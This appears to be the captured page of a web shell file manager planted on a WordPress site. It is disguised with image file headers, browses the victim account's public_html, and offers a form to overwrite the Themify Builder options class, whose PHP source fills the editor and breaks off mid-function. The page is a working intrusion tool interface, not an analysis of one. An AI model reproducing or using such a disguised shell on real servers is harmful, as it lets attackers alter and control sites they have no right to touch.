�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fhome%2F'>home</a>/<a href='?path=%2Fhome%2Fmycooffi%2F'>mycooffi</a>/<a href='?path=%2Fhome%2Fmycooffi%2Fpublic_html%2F'>public_html</a>/<a href='?path=%2Fhome%2Fmycooffi%2Fpublic_html%2Fwp-content%2F'>wp-content</a>/<a href='?path=%2Fhome%2Fmycooffi%2Fpublic_html%2Fwp-content%2Fthemes%2F'>themes</a>/<a href='?path=%2Fhome%2Fmycooffi%2Fpublic_html%2Fwp-content%2Fthemes%2Fthemify-ultra%2F'>themify-ultra</a>/<a href='?path=%2Fhome%2Fmycooffi%2Fpublic_html%2Fwp-content%2Fthemes%2Fthemify-ultra%2Fthemify%2F'>themify</a>/<a href='?path=%2Fhome%2Fmycooffi%2Fpublic_html%2Fwp-content%2Fthemes%2Fthemify-ultra%2Fthemify%2Fthemify-builder%2F'>themify-builder</a>/<a href='?path=%2Fhome%2Fmycooffi%2Fpublic_html%2Fwp-content%2Fthemes%2Fthemify-ultra%2Fthemify%2Fthemify-builder%2Fclasses%2F'>classes</a>/</p><hr><h3>✏️ Editing: class-themify-builder-options.php</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>&lt;?php
if ( ! defined( 'ABSPATH' ) ) exit; // Exit if accessed directly

if ( ! class_exists( 'Themify_Builder_Options' ) ) {

	/**
	 * Class Builder Options
	 */
	class Themify_Builder_Options {

		protected $option_name = 'themify_builder_setting';
		protected $option_value = array();
		protected $current_tab = '';
		public static $slug = 'themify-builder';

		/**
		 * Constructor
		 */
		public function __construct() {
			if ( is_admin() ){
				add_action( 'admin_menu', array( $this, 'add_plugin_page' ) );
				add_action( 'admin_init', array( $this, 'page_init' ) );
				add_action( 'admin_enqueue_scripts', array( $this, 'load_enqueue_scripts' ) );
			}
			else{
				add_action( 'wp_head', array( $this, 'show_custom_css' ) );
			}
			add_filter( 'themify_top_pages', array( $this, 'queue_top_pages' ) );
			add_filter( 'themify_pagenow', array( $this, 'queue_pagenow' ) );
		}

		public function add_plugin_page(){
			if( Themify_Builder_Model::hasAccess() ){
				// This page will be under &quot;Settings&quot;
				$name = __( 'Themify Builder', 'themify' );
				add_menu_page( $name, $name, 'manage_options', self::$slug, array( $this, 'create_admin_page'), plugins_url( THEMIFY_BUILDER_NAME.'/themify/img/favicon.png' ), 50 );
				add_submenu_page( self::$slug, __( 'Settings', 'themify' ), __( 'Settings', 'themify' ), 'manage_options', self::$slug );

				if (Themify_Builder_Model::builder_check()) {

					add_submenu_page ( 'themify-builder', __( 'Saved Layouts', 'themify' ), __( 'Saved Layouts', 'themify' ), 'edit_posts', 'edit.php?post_type='.Themify_Builder_Layouts::$layout_slug );
					add_submenu_page( 'themify-builder', __( 'Layout Parts', 'themify' ), __( 'Layout Parts', 'themify' ), 'edit_posts', 'edit.php?post_type='.Themify_Builder_Layouts::$layout_part_slug );
					add_submenu_page ( 'themify-builder', __( 'Global Styles', 'themify' ), __( 'Global Styles', 'themify' ), 'edit_posts', 'themify-global-styles', array( $this, 'global_styles_page' ) );
					add_submenu_page( 'themify-builder', __( 'Custom Fonts', 'themify' ), __( 'Custom Fonts', 'themify' ), 'edit_posts', 'edit.php?post_type='.Themify_Custom_Fonts::$slug );

				}

			}
		}

		/**
		 * Display Builder Styles page content
		 * @return String
		 * @since 4.5.0
		 */
		function global_styles_page(){

			if ( ! current_user_can( 'edit_posts' ) )
				wp_die( __( 'You do not have sufficient permissions to update this site.', 'themify' ) );

			return Themify_Global_Styles::page_content();
		}

		function redirect(){
			if(!empty($_GET['page'])){
				wp_redirect('edit.php?post_type='.$_GET['page']);
			}
		}

		public function create_admin_page() {
			$this-&gt;option_value = get_option( $this-&gt;option_name );

			if ( isset( $_GET['action'] ) ) {
				$action = 'upgrade';
				themify_builder_updater();
			}

			?&gt;
            &lt;div class=&quot;wrap&quot;&gt;
                &lt;h2&gt;&lt;?php _e('Themify Builder', 'themify') ?&gt;&lt;/h2&gt;
                &lt;form method=&quot;post&quot; action=&quot;options.php&quot;&gt;
                    &lt;div class=&quot;icon32&quot; id=&quot;icon-options-general&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;h2 class=&quot;nav-tab-wrapper themify-nav-tab-wrapper&quot;&gt;
                        &lt;input type=&quot;hidden&quot; name=&quot;&lt;?php echo esc_attr( $this-&gt;option_name ); ?&gt;[tabs_active]&quot; value=&quot;&lt;?php echo esc_attr( $this-&gt;current_tab ); ?&gt;&quot;&gt;
						&lt;?php
						$tabs = array(
							'builder' =&gt; __( 'Settings', 'themify' ),
							'role_access' =&gt; __( 'Role Access', 'themify' ),
							'image_setting' =&gt; __( 'Image Script', 'themify' ),
							'custom_css' =&gt; __('Custom CSS', 'themify'),
							'builder_settings'=&gt;__('Integration API','themify'),
							'tools'=&gt;__('Tools','themify')
						);
						$tabs = apply_filters('themify_builder_settings_tab_array', $tabs);

						foreach ( $tabs as $name =&gt; $label ) {
							echo '&lt;a href=&quot;' . admin_url( 'admin.php?page=' . self::$slug. '&amp;tab=' . $name ) . '&quot; class=&quot;nav-tab ';
							if( $this-&gt;current_tab === $name ) echo 'nav-tab-active';
							echo '&quot;&gt;' . $label . '&lt;/a&gt;';
						}
						?&gt;
                    &lt;/h2&gt;
					&lt;?php
					// This prints out all hidden setting fields
					settings_fields( 'themify_builder_option_group' );
					do_settings_sections( self::$slug );
					?&gt;
					&lt;?php
					if($this-&gt;current_tab!=='builder_upgrade'){
						submit_button();
					}
					else{
						include( THEMIFY_BUILDER_DIR . '/about.php' );
						?&gt;
                        &lt;a class=&quot;button button-primary&quot; href=&quot;//themify.me/builder&quot; target=&quot;_blank&quot;&gt;&lt;?php _e('Upgrade Builder','themify')?&gt;&lt;/a&gt;
						&lt;?php
					}
					?&gt;
                &lt;/form&gt;

                &lt;!-- alerts --&gt;
                &lt;div class=&quot;alert&quot;&gt;&lt;/div&gt;
                &lt;!-- /alerts --&gt;

                &lt;script type=&quot;text/javascript&quot;&gt;
					function switch_image_field() {
						var img_field =jQuery('.img_field').closest('tr'),
							size = jQuery('.image_global_size_field').closest('tr');
						if(!jQuery('.disable_img_php').is(':checked')) {
							size.hide();
							img_field.show();
						} else {
							size.show();
							img_field.hide();
						}
					}
					switch_image_field();
					jQuery('.disable_img_php').on('click', switch_image_field);
                &lt;/script&gt;
            &lt;/div&gt;
			&lt;?php
		}

		public function page_init() {
			register_setting( 'themify_builder_option_group', $this-&gt;option_name, array( $this, 'before_save' ) );
			$current_tab = ( empty( $_GET['tab'] ) ) ? 'builder' : sanitize_text_field( urldecode( $_GET['tab'] ) );
			$this-&gt;current_tab = $current_tab;

			switch ( $current_tab ) {
				case 'image_setting':
					// image script settings
					add_settings_section(
						'setting_builder_image_section',
						__( 'Image Script Settings', 'themify' ),
						'',
						self::$slug
					);

					add_settings_field(
						'image_script',
						__('Disable', 'themify'),
						array( $this, 'image_script_field' ),
						self::$slug,
						'setting_builder_image_section'
					);

					add_settings_field(
						'image_global_size',
						__('Default Featured Image Size', 'themify'),
						array( $this, 'image_global_field' ),
						self::$slug,
						'setting_builder_image_section'
					);

					break;

				case 'role_access':

					add_settings_section(
						'setting_builder_role_access_section',
						__( 'Role Access Settings', 'themify' ),
						'',
						self::$slug
					);

					add_settings_field(
						'builder_backend',
						__( 'Builder Backend Access', 'themify' ),
						array( $this, 'role_access_fields' ),
						self::$slug,
						'setting_builder_role_access_section',
						array( 'mode' =&gt; 'backend' )
					);

					add_settings_field(
						'builder_frontend',
						__( 'Builder Frontend Access', 'themify' ),
						array( $this, 'role_access_fields' ),
						self::$slug,
						'setting_builder_role_access_section',
						array( 'mode' =&gt; 'frontend' )
					);

					break;

				case 'custom_css':
					// image script settings
					add_settings_section(
						'setting_builder_custom_css_section',
						__( 'Custom CSS', 'themify' ),
						'',
						self::$slug
					);

					add_settings_field(
						'custom_css',
						false,
						array( $this, 'custom_css_field' ),
						self::$slug,
						'setting_builder_custom_css_section'
					);
					break;
				case 'builder_settings':
					// image script settings
					add_settings_section(
						'setting_builder_settings_section',
						null,
						'',
						self::$slug
					);

					add_settings_field(
						'google_map',
						__('Google Map Api Key','themify'),
						array( $this, 'google_map_api_key_field' ),
						self::$slug,
						'setting_builder_settings_section'
					);
					add_settings_field(
						'bing_map',
						__('Bing Map Api Key','themify'),
						array( $this, 'bing_map_api_key_field' ),
						self::$slug,
						'setting_builder_settings_section'
					);
					if ( Themify_Builder_Model::check_module_active( 'optin' ) ) {
						add_settings_field(
							'optin',
							__('Optin','themify'),
							array( $this, 'optin_field' ),
							self::$slug,
							'setting_builder_settings_section'
						);
					}
					break;
				case 'tools':
					add_settings_section(
						'setting_builder_tools_section',
						__( 'Tools', 'themify' ),
						'',
						self::$slug
					);
					add_settings_field(
						'regenerate_css',
						__('Regenerate CSS Files','themify'),
						array( $this, 'regenerate_css_field' ),
						self::$slug,
						'setting_builder_tools_section'
					);
					add_settings_field(
						'replace_string',
						__('Find &amp; Replace','themify'),
						array( $this, 'find_and_replace_field' ),
						self::$slug,
						'setting_builder_tools_section'
					);
					add_settings_field(
						'builder_maintenance',
						__('Maintenance','themify'),
						array( $this, 'builder_maintenance_field' ),
						self::$slug,
						'setting_builder_tools_section'
					);
					break;
				default:
					add_settings_section(
						'setting_builder_section',
						__( 'Builder Settings', 'themify' ),
						'',
						self::$slug
					);

					add_settings_field(
						'builder_active',
						__( 'Themify Builder', 'themify' ),
						array( $this, 'builder_active_field' ),
						self::$slug,
						'setting_builder_section'
					);

					if ( Themify_Builder_Model::builder_check() ) {

						add_settings_field(
							'builder_cache',
							__( 'Builder Cache', 'themify' ),
							array( $this, 'builder_disable_cache' ),
							self::$slug,
							'setting_builder_section'
						);

						if ( TFCache::check_version()) {
							add_settings_field(
								'builder_clear_cache',
								null,
								array( $this, 'builder_clear_cache' ),
								self::$slug,
								'setting_builder_section'
							);
						}
						add_settings_field(
							'builder_minify',
							__( 'Minified Scripts', 'themify' ),
							array( $this, 'builder_minify' ),
							self::$slug,
							'setting_builder_section'
						);
						add_settings_field(
							'builder_shortcuts',
							__( 'Keyboard Shortcuts', 'themify' ),
							array( $this, 'builder_disable_shortcuts' ),
							self::$slug,
							'setting_builder_section'
						);

						add_settings_field(
							'builder_disable_wp_editor',
							__( 'Disable WordPress Editor', 'themify' ),
							array( $this, 'builder_disable_wp_editor' ),
							self::$slug,
							'setting_builder_section'
						);

						add_settings_field(
							'builder_google_fonts',
							__( 'Google Fonts List', 'themify' ),
							array( $this, 'builder_show_all_google_fonts' ),
							self::$slug,
							'setting_builder_section'
						);


						add_settings_field(
							'builder_animation',
							__( 'Animation Effects', 'themify' ),
							array( $this, 'builder_animation_field' ),
							self::$slug,
							'setting_builder_section'
						);

						add_settings_field(
							'builder_responsive',
							esc_html__( 'Responsive Breakpoints', 'themify' ),
							array( $this, 'builder_responsive_field' ),
							self::$slug,
							'setting_builder_section'
						);

						add_settings_field(
							'builder_scrollTo',
							__( 'ScrollTo Offset', 'themify' ),
							array( $this, 'builder_scrollTo' ),
							self::$slug,
							'setting_builder_section'
						);

						add_settings_field(
							'builder_excludes',
							__( 'Builder Modules', 'themify' ),
							array( $this, 'builder_exclude_field' ),
							self::$slug,
							'setting_builder_section'
						);
					}
					break;
			}

		}

		public function show_custom_css(){
			$settings = get_option( $this-&gt;option_name );
			$custom_css = isset( $settings['custom_css-custom_css'] ) ? $settings['custom_css-custom_css'] : false;
			if ( $custom_css ){
				echo PHP_EOL . '&lt;!-- Builder Custom Style --&gt;' . PHP_EOL,
					'&lt;style type=&quot;text/css&quot;&gt;' . PHP_EOL,
					$custom_css . PHP_EOL,
					'&lt;/style&gt;' . PHP_EOL . '&lt;!-- / end builder custom style --&gt;' . PHP_EOL;
			}
		}

		function before_save($input) {
			$active_tabs = $input['tabs_active'];
			$exist_data = get_option( $this-&gt;option_name );
			$exist_data = is_array($exist_data) ? $exist_data : array();

			foreach($exist_data as $k =&gt; $v) {
				if ( strpos( $k, $active_tabs ) !== false ) {
					unset($exist_data[$k]);
				}
			}

			$all = array_merge($exist_data, $input);
			return $all;
		}

		function print_section_builder_info(){
			_e('Enable/Disable Themify Builder', 'themify');
		}

		function builder_active_field(){
			$selected = isset( $this-&gt;option_value[$this-&gt;current_tab.'_is_active'] ) ? $this-&gt;option_value[$this-&gt;current_tab.'_is_active'] : 'enable';
			?&gt;
            &lt;select class=&quot;tb_is_active&quot; name=&quot;&lt;?php echo esc_attr( $this-&gt;option_name . '['.$this-&gt;current_tab.'_is_active]' ); ?&gt;&quot;&gt;
                &lt;option value=&quot;enable&quot; &lt;?php selected( $selected, 'enable'); ?&gt;&gt;&lt;?php _e('Enable', 'themify') ?&gt;&lt;/option&gt;
                &lt;option value=&quot;disable&quot; &lt;?php selected( $selected, 'disable'); ?&gt;&gt;&lt;?php _e('Disable', 'themify') ?&gt;&lt;/option&gt;
            &lt;/select&gt;
            &lt;p class=&quot;description&quot; style=&quot;display:none&quot; class=&quot;pushlabel&quot; data-show-if-element=&quot;.tb_is_active&quot; data-show-if-value=&quot;disable&quot;&gt;
				&lt;?php echo esc_html__( 'WARNING: When Builder is disabled, all Builder content/layout will not appear. They will re-appear once Builder is enabled.', 'themify' ) ?&gt;
            &lt;/p&gt;
			&lt;?php
		}

		function builder_scrollTo() {
			$pre = $this-&gt;current_tab . '_';
			$out='&lt;div&gt;';
			$value =  isset( $this-&gt;option_value[$pre.'scrollTo'] )?$this-&gt;option_value[$pre.'scrollTo']:'';
			$out.=sprintf('&lt;input type=&quot;number&quot; value=&quot;%s&quot; name=&quot;%s&quot; min=&quot;0&quot; max=&quot;5000&quot; step=&quot;1&quot; style=&quot;width: 60px&quot; /&gt;&lt;span&gt;px&lt;/span&gt;',
				$value,
				esc_attr( $this-&gt;option_name . '[' . $pre . 'scrollTo' . ']' )
			);
			$out.='&lt;br/&gt;&lt;p class=&quot;description&quot;&gt;'.__('Enter the top position where it should scrollTo','themify').'&lt;/p&gt;&lt;/div&gt;';
			echo $out;
		}

		function builder_exclude_field() {
			$modules = Themify_Builder_Model::get_modules( 'all' );

			foreach( $modules as $k =&gt; $v ) :
				$name = $this-&gt;current_tab . '_exclude_module_' . $k;
				$field_name = $this-&gt;option_name . '['.$name.']';
				$mod_checked = isset($this-&gt;option_value[$name] ) ? $this-&gt;option_value[$name] : 0;
				?&gt;
                &lt;p&gt;
                    &lt;input id=&quot;exclude_module_&lt;?php echo $k; ?&gt;&quot; type=&quot;checkbox&quot; value=&quot;1&quot; name=&quot;&lt;?php echo $field_name; ?&gt;&quot; &lt;?php checked( $mod_checked, 1 ); ?&gt;&gt;
                    &lt;label for=&quot;exclude_module_&lt;?php echo $k; ?&gt;&quot;&gt;&lt;?php echo sprintf(__('Disable &quot;%s&quot; module', 'themify'), $v['name']); ?&gt;&lt;/label&gt;
                &lt;/p&gt;
			&lt;?php
			endforeach;
		}

		/**
		 * Disable builder cache field.
		 *
		 * @since 1.5.4
		 * @access public
		 */
		public function builder_disable_cache() {
			if(TFCache::check_version()){
				$pre = $this-&gt;current_tab . '_';
				$disable_cache_status = isset( $this-&gt;option_value[$pre.'disable_cache'] ) ? $this-&gt;option_value[$pre.'disable_cache'] : '';
				$out = sprintf( '&lt;p&gt;&lt;label for=&quot;%s&quot;&gt;&lt;input type=&quot;radio&quot; id=&quot;%s&quot; class=&quot;builder-disable-cache&quot; name=&quot;%s&quot; value=&quot;%s&quot; %s&gt; %s %s&lt;/label&gt;&lt;br/&gt;&lt;label for=&quot;%s&quot;&gt;&lt;input type=&quot;radio&quot; id=&quot;%s&quot; class=&quot;builder-disable-cache&quot; name=&quot;%s&quot; value=&quot;%s&quot; %s&gt; %s %s&lt;/label&gt;&lt;/p&gt;',
					$pre . 'disable_cache' ,
					$pre . 'disable_cache' ,
					$this-&gt;option_name . '[' . $pre . 'disable_cache' . ']' ,
					'disable' ,
					checked( 'disable', $disable_cache_status, false ) . checked( 'on', $disable_cache_status, false ) . checked( '', $disable_cache_status, false ),
					'Disable' ,
					wp_kses_post( __('(disable it if you experience Builder issues and conflicts)', 'themify') ),
					$pre . 'enable_cache' ,
					$pre . 'enable_cache',
					$this-&gt;option_name . '[' . $pre . 'disable_cache' . ']' ,
					'enable' ,
					checked( 'enable', $disable_cache_status, false ),
					'Enable',
					wp_kses_post( __('(enable it for faster page load)', 'themify') )
				);
				echo $out;
			}
			else{
				_e('Your server does not support Builder cache, thus it is disabled. It requires PHP 5.4+','themify');
			}
		}

		/**
		 * Clear builder cache.
		 *
		 * @since 1.5.4
		 * @access public
		 */
		public function builder_clear_cache() {
			$pre = $this-&gt;current_tab . '_';
			$out='&lt;div style=&quot;display: none&quot; data-show-if-element=&quot;.builder-disable-cache:checked&quot; data-show-if-value=&quot;enable&quot; data-sync-row-el=&quot;th&quot;&gt;';
			$expire =  isset( $this-&gt;option_value[$pre.'cache_expiry'] )?$this-&gt;option_value[$pre.'cache_expiry']:'';
			$expire = $expire&gt;0?(int)$expire:2;
			$out.=sprintf('&lt;input type=&quot;text&quot; class=&quot;width2&quot; value=&quot;%s&quot; name=&quot;%s&quot; /&gt;  &amp;nbsp;&amp;nbsp;&lt;span&gt;%s&lt;/span&gt;',
				$expire,
				$this-&gt;option_name . '[' . $pre . 'cache_expiry' . ']' ,
				__( 'Expire Cache (days)', 'themify' )
			);
			$out.='&lt;br/&gt;&lt;br/&gt;';
			$out.= sprintf( '&lt;a href=&quot;#&quot; data-action=&quot;themify_clear_all_caches&quot; data-confim=&quot;'.__( 'This will clear all builder caches. click ok to continue.', 'themify' ).'&quot; data-clearing-text=&quot;%s&quot; data-done-text=&quot;%s&quot; data-default-text=&quot;%s&quot; data-default-icon=&quot;ti-eraser&quot; class=&quot;button button-secondary js-clear-builder-cache&quot;&gt; &lt;i class=&quot;ti-eraser&quot;&gt;&lt;/i&gt; &lt;span&gt;%s&lt;/span&gt;&lt;/a&gt;',
				esc_html__( 'Clearing cache...', 'themify' ),
				esc_html__( 'Done', 'themify' ),
				esc_html__( 'Clear cache', 'themify' ),
				esc_html__( 'Clear cache', 'themify' )
			);
			$out.='&lt;/div&gt;';
			echo $out;
		}

		public function builder_minify(){
			$pre = $this-&gt;current_tab . '_';
			$out = sprintf( '&lt;p&gt;&lt;label for=&quot;%s&quot;&gt;&lt;input type=&quot;checkbox&quot; id=&quot;%s&quot; name=&quot;%s&quot;%s&gt; %s&lt;/label&gt;&lt;/p&gt;',
				$pre . 'minified',
				$pre . 'minified',
				$this-&gt;option_name . '[' . $pre . 'minified' . ']' ,
				checked( true, isset( $this-&gt;option_value[$pre.'minified'] ), false ),
				wp_kses_post( __( 'Disable minified scripts (css/js files)', 'themify') )
			);
			echo $out;
		}

		/**
		 * Render checkbox to disable shortcuts.
		 *
		 * @since 1.4.7
		 * @access public
		 */
		function builder_disable_shortcuts() {
			$pre = $this-&gt;current_tab . '_';
			$out = sprintf( '&lt;p&gt;&lt;label for=&quot;%s&quot;&gt;&lt;input type=&quot;checkbox&quot; id=&quot;%s&quot; name=&quot;%s&quot;%s&gt; %s&lt;/label&gt;&lt;/p&gt;',
				$pre . 'disable_shortcuts' ,
				$pre . 'disable_shortcuts' ,
				$this-&gt;option_name . '[' . $pre . 'disable_shortcuts' . ']' ,
				checked( true, isset( $this-&gt;option_value[$pre.'disable_shortcuts'] ), false ),
				wp_kses_post( __( 'Disable Builder shortcuts (eg. disable shortcut like Cmd+S = save)', 'themify') )
			);
			echo $out;
		}

		function builder_disable_wp_editor() {
			$key = $this-&gt;current_tab . '_disable_wp_editor';

			printf( '&lt;p&gt;&lt;label for=&quot;%1$s&quot;&gt;&lt;input type=&quot;checkbox&quot; id=&quot;%1$s&quot; name=&quot;%2$s&quot;%3$s&gt; %4$s&lt;/label&gt;&lt;/p&gt;'
				, $key
				, $this-&gt;option_name . '[' . $key . ']'
				, checked( true, isset( $this-&gt;option_value[$key] ), false )
				, wp_kses_post( __( 'Disable WordPress editor when Builder is in use', 'themify' ) )
			);
		}

		function builder_show_all_google_fonts() {
			$pre = $this-&gt;current_tab . '_';
			$current_value = !empty( $this-&gt;option_value[$pre . 'google_fonts'] ) ? $this-&gt;option_value[$pre . 'google_fonts'] : 'less';
			$out = sprintf( '&lt;p&gt;&lt;label&gt;&lt;input type=&quot;radio&quot; name=&quot;%1$s&quot; value=&quot;less&quot; %4$s&gt;%2$s&lt;/label&gt;&lt;/p&gt;&lt;p&gt;&lt;label&gt;&lt;input type=&quot;radio&quot; name=&quot;%1$s&quot; value=&quot;full&quot; %5$s&gt;%3$s&lt;/label&gt;&lt;/p&gt;'
				, $this-&gt;option_name . '[' . $pre . 'google_fonts' . ']'
				, __( 'Show recommended Google Fonts only', 'themify' )
				, __( 'Show all Google Fonts (showing all fonts will take longer to load)', 'themify' )
				, checked( 'less', $current_value, false )
				, checked( 'full', $current_value, false ) );

			echo $out;
		}

		function builder_animation_field() {
			$pre = $this-&gt;current_tab . '_animation_';


			$output = sprintf('&lt;p&gt;&lt;label for=&quot;%s&quot; class=&quot;label&quot;&gt;%s&lt;/label&gt;&lt;br&gt;&lt;select id=&quot;%s&quot; name=&quot;%s&quot;&gt;%s&lt;/select&gt;&lt;/p&gt;',
				$pre . 'appearance' ,
				esc_html__( 'Appearance Animation', 'themify' ),
				$pre . 'appearance' ,
				$this-&gt;option_name . '[' .$pre . 'appearance]' ,
				sprintf( '&lt;option value=&quot;none&quot; %s&gt;&lt;/option&gt;'
					, selected( !empty( $this-&gt;option_value[$pre . 'appearance'] )
						? $this-&gt;option_value[$pre . 'appearance'] : '', '', false ) ) .
				sprintf( '&lt;option value=&quot;mobile&quot; %s&gt;%s&lt;/option&gt;'
					, selected( !empty( $this-&gt;option_value[$pre . 'appearance'] )
						? $this-&gt;option_value[$pre . 'appearance'] : '', 'mobile', false )
					, esc_html__( 'Disable on mobile &amp; tablet', 'themify' ) ) .
				sprintf( '&lt;option value=&quot;all&quot; %s&gt;%s&lt;/option&gt;'
					, selected( !empty( $this-&gt;option_value[$pre . 'appearance'] )
						? $this-&gt;option_value[$pre . 'appearance'] : '', 'all', false )
					, esc_html__( 'Disable on all devices', 'themify' ) )
			);
			$output .= sprintf('&lt;p&gt;&lt;label for=&quot;%s&quot; class=&quot;label&quot;&gt;%s&lt;/label&gt;&lt;br&gt;&lt;select id=&quot;%s&quot; name=&quot;%s&quot;&gt;%s&lt;/select&gt;&lt;/p&gt;',
				$pre . 'parallax_bg' ,
				esc_html__( 'Parallax Background', 'themify' ),
				$pre . 'parallax_bg' ,
				$this-&gt;option_name . '[' .$pre . 'parallax_bg]' ,
				sprintf( '&lt;option value=&quot;none&quot; %s&gt;&lt;/option&gt;'
					, selected( !empty( $this-&gt;option_value[$pre . 'parallax_bg'] )
						? $this-&gt;option_value[$pre . 'parallax_bg'] : '', '', false ) ) .
				sprintf( '&lt;option value=&quot;mobile&quot; %s&gt;%s&lt;/option&gt;'
					, selected( !empty( $this-&gt;option_value[$pre . 'parallax_bg'] )
						? $this-&gt;option_value[$pre . 'parallax_bg'] : '', 'mobile', false )
					, esc_html__( 'Disable on mobile &amp; tablet', 'themify' ) ) .
				sprintf( '&lt;option value=&quot;all&quot; %s&gt;%s&lt;/option&gt;'
					, selected( !empty( $this-&gt;option_value[$pre . 'parallax_bg'] )
						? $this-&gt;option_value[$pre . 'parallax_bg'] : '', 'all', false )
					, esc_html__( 'Disable on all devices', 'themify' ) )
			);
			$output .= sprintf('&lt;p&gt;&lt;label for=&quot;%s&quot; class=&quot;label&quot;&gt;%s&lt;/label&gt;&lt;br&gt;&lt;select id=&quot;%s&quot; name=&quot;%s&quot;&gt;%s&lt;/select&gt;&lt;/p&gt;',
				$pre . 'scroll_effect' ,
				esc_html__( 'Scroll Effects', 'themify' ),
				$pre . 'scroll_effect' ,
				$this-&gt;option_name . '[' .$pre . 'scroll_effect]' ,
				sprintf( '&lt;option value=&quot;none&quot; %s&gt;&lt;/option&gt;'
					, selected( !empty( $this-&gt;option_value[$pre . 'scroll_effect'] )
						? $this-&gt;option_value[$pre . 'scroll_effect'] : '', '', false ) ) .
				sprintf( '&lt;option value=&quot;mobile&quot; %s&gt;%s&lt;/option&gt;'
					, selected( isset( $this-&gt;option_value[$pre . 'scroll_effect'] )
						? $this-&gt;option_value[$pre . 'scroll_effect'] : '', 'mobile', false )
					, esc_html__( 'Disable on mobile &amp; tablet', 'themify' ) ) .
				sprintf( '&lt;option value=&quot;all&quot; %s&gt;%s&lt;/option&gt;'
					, selected( !empty( $this-&gt;option_value[$pre . 'scroll_effect'] )
						? $this-&gt;option_value[$pre . 'scroll_effect'] : '', 'all', false )
					, esc_html__( 'Disable on all devices', 'themify' ) )
			);

			echo $output;
		}

		/**
		 * Responsive Design Fields.
		 *
		 * @access public
		 */
		public function builder_responsive_field() {
			$break_points = themify_get_breakpoints('',true);
			$pre = $this-&gt;current_tab . '_responsive_design_';
			$bp_tablet_landscape = ! empty( $this-&gt;option_value[ $pre . 'tablet_landscape'] )  ? $this-&gt;option_value[ $pre . 'tablet_landscape'] : $break_points['tablet_landscape'][1];
			$bp_tablet = ! empty( $this-&gt;option_value[ $pre . 'tablet'] ) ? $this-&gt;option_value[ $pre . 'tablet'] : $break_points['tablet'][1];
			$bp_mobile = ! empty( $this-&gt;option_value[ $pre . 'mobile'] )  ? $this-&gt;option_value[ $pre . 'mobile'] : $break_points['mobile'];

			$out = sprintf( '&lt;div class=&quot;themify-ui-slider clearfix&quot;&gt;&lt;div class=&quot;themify-slider-label label&quot;&gt;%s&lt;/div&gt;&lt;div class=&quot;label input-range width10&quot;&gt;&lt;div class=&quot;range-slider width8&quot;&gt;&lt;/div&gt;&lt;input type=&quot;text&quot; name=&quot;%s&quot; value=&quot;%s&quot; data-min=&quot;%d&quot; data-max=&quot;%d&quot; class=&quot;width4&quot; readonly&gt; px&lt;/div&gt;&lt;/div&gt;',
				esc_html__( 'Tablet Landscape', 'themify' ),
				$this-&gt;option_name . '[' . $pre . 'tablet_landscape' . ']',
				$bp_tablet_landscape,
				$break_points['tablet_landscape'][0],
				$break_points['tablet_landscape'][1],
				$bp_tablet_landscape
			);
			$out .= sprintf( '&lt;div class=&quot;themify-ui-slider clearfix&quot;&gt;&lt;div class=&quot;themify-slider-label label&quot;&gt;%s&lt;/div&gt;&lt;div class=&quot;label input-range width10&quot;&gt;&lt;div class=&quot;range-slider width8&quot;&gt;&lt;/div&gt;&lt;input type=&quot;text&quot; name=&quot;%s&quot; value=&quot;%s&quot; data-min=&quot;%d&quot; data-max=&quot;%d&quot; class=&quot;width4&quot; readonly&gt; px&lt;/div&gt;&lt;/div&gt;',
				esc_html__( 'Tablet Portrait', 'themify' ),
				$this-&gt;option_name . '[' . $pre . 'tablet' . ']',
				$bp_tablet,
				$break_points['tablet'][0],
				$break_points['tablet'][1],
				$bp_tablet
			);
			$out .= sprintf( '&lt;div class=&quot;themify-ui-slider clearfix&quot;&gt;&lt;div class=&quot;themify-slider-label label&quot;&gt;%s&lt;/div&gt;&lt;div class=&quot;label input-range width10&quot;&gt;&lt;div class=&quot;range-slider width8&quot;&gt;&lt;/div&gt;&lt;input type=&quot;text&quot; name=&quot;%s&quot; value=&quot;%s&quot; data-min=&quot;%d&quot; data-max=&quot;%d&quot; class=&quot;width4&quot; readonly&gt; px&lt;/div&gt;&lt;/div&gt;',
				esc_html__( 'Mobile', 'themify' ),
				$this-&gt;option_name . '[' . $pre . 'mobile' . ']',
				$bp_mobile,
				320,
				$break_points['mobile'],
				$bp_mobile
			);
			echo $out;
		}

		function image_script_field() {
			$name = $this-&gt;current_tab . '-img_settings_use';
			$field_name = $this-&gt;option_name . '['.$name.']';
			$checked = isset($this-&gt;option_value[$name]) ? $this-&gt;option_value[$name] : '';
			echo '&lt;input id=&quot;themify_setting-img_settings_use&quot; type=&quot;checkbox&quot; name=&quot;'.$field_name.'&quot; class=&quot;disable_img_php&quot; value=&quot;1&quot; '.checked( $checked, 1, false ).'/&gt;',
				'&lt;label for=&quot;themify_setting-img_settings_use&quot;&gt;&amp;nbsp; '.__('Disable image script globally',
					'themify').'&lt;/label&gt;',
				'&lt;p class=&quot;description&quot;&gt;'.__('WordPress Featured Image or original images will be used.', 'themify').'&lt;/p&gt;';
		}

		function image_global_field() {
			$feature_sizes = themify_get_image_sizes_list();

			$name = $this-&gt;current_tab.'-global_feature_size';
			$field_name = $this-&gt;option_name . '['.$name.']';
			$selected = isset($this-&gt;option_value[$name]) ? $this-&gt;option_value[$name] : '';
			echo '&lt;select name=&quot;'.$field_name.'&quot; class=&quot;image_global_size_field&quot;&gt;';
			foreach($feature_sizes as $option){
				echo '&lt;option value=&quot;' . $option['value'] . '&quot;'.selected( $selected, $option['value'] ).'&gt;' . esc_html( $option['name'] ) . '&lt;/option&gt;';
			}
			echo '&lt;/select&gt;';
		}

		function role_access_fields( $atts ) {
			global $wp_roles;

			$prefix = 'setting-' . $atts[ 'mode' ] . '-';
			$roles = $wp_roles-&gt;get_names();
			$role_options = array(
				'default' =&gt; __( 'Default', 'themify' ),
				'enable' =&gt; __( 'Enable', 'themify' ),
				'disable' =&gt; __( 'Disable', 'themify' )
			);

			// Remove the adminitrator and subscriber user role from the array
			unset( $roles['administrator']);

			// Remove all the user roles with no &quot;edit_posts&quot; capability
			foreach( $roles as $role =&gt; $slug ) {
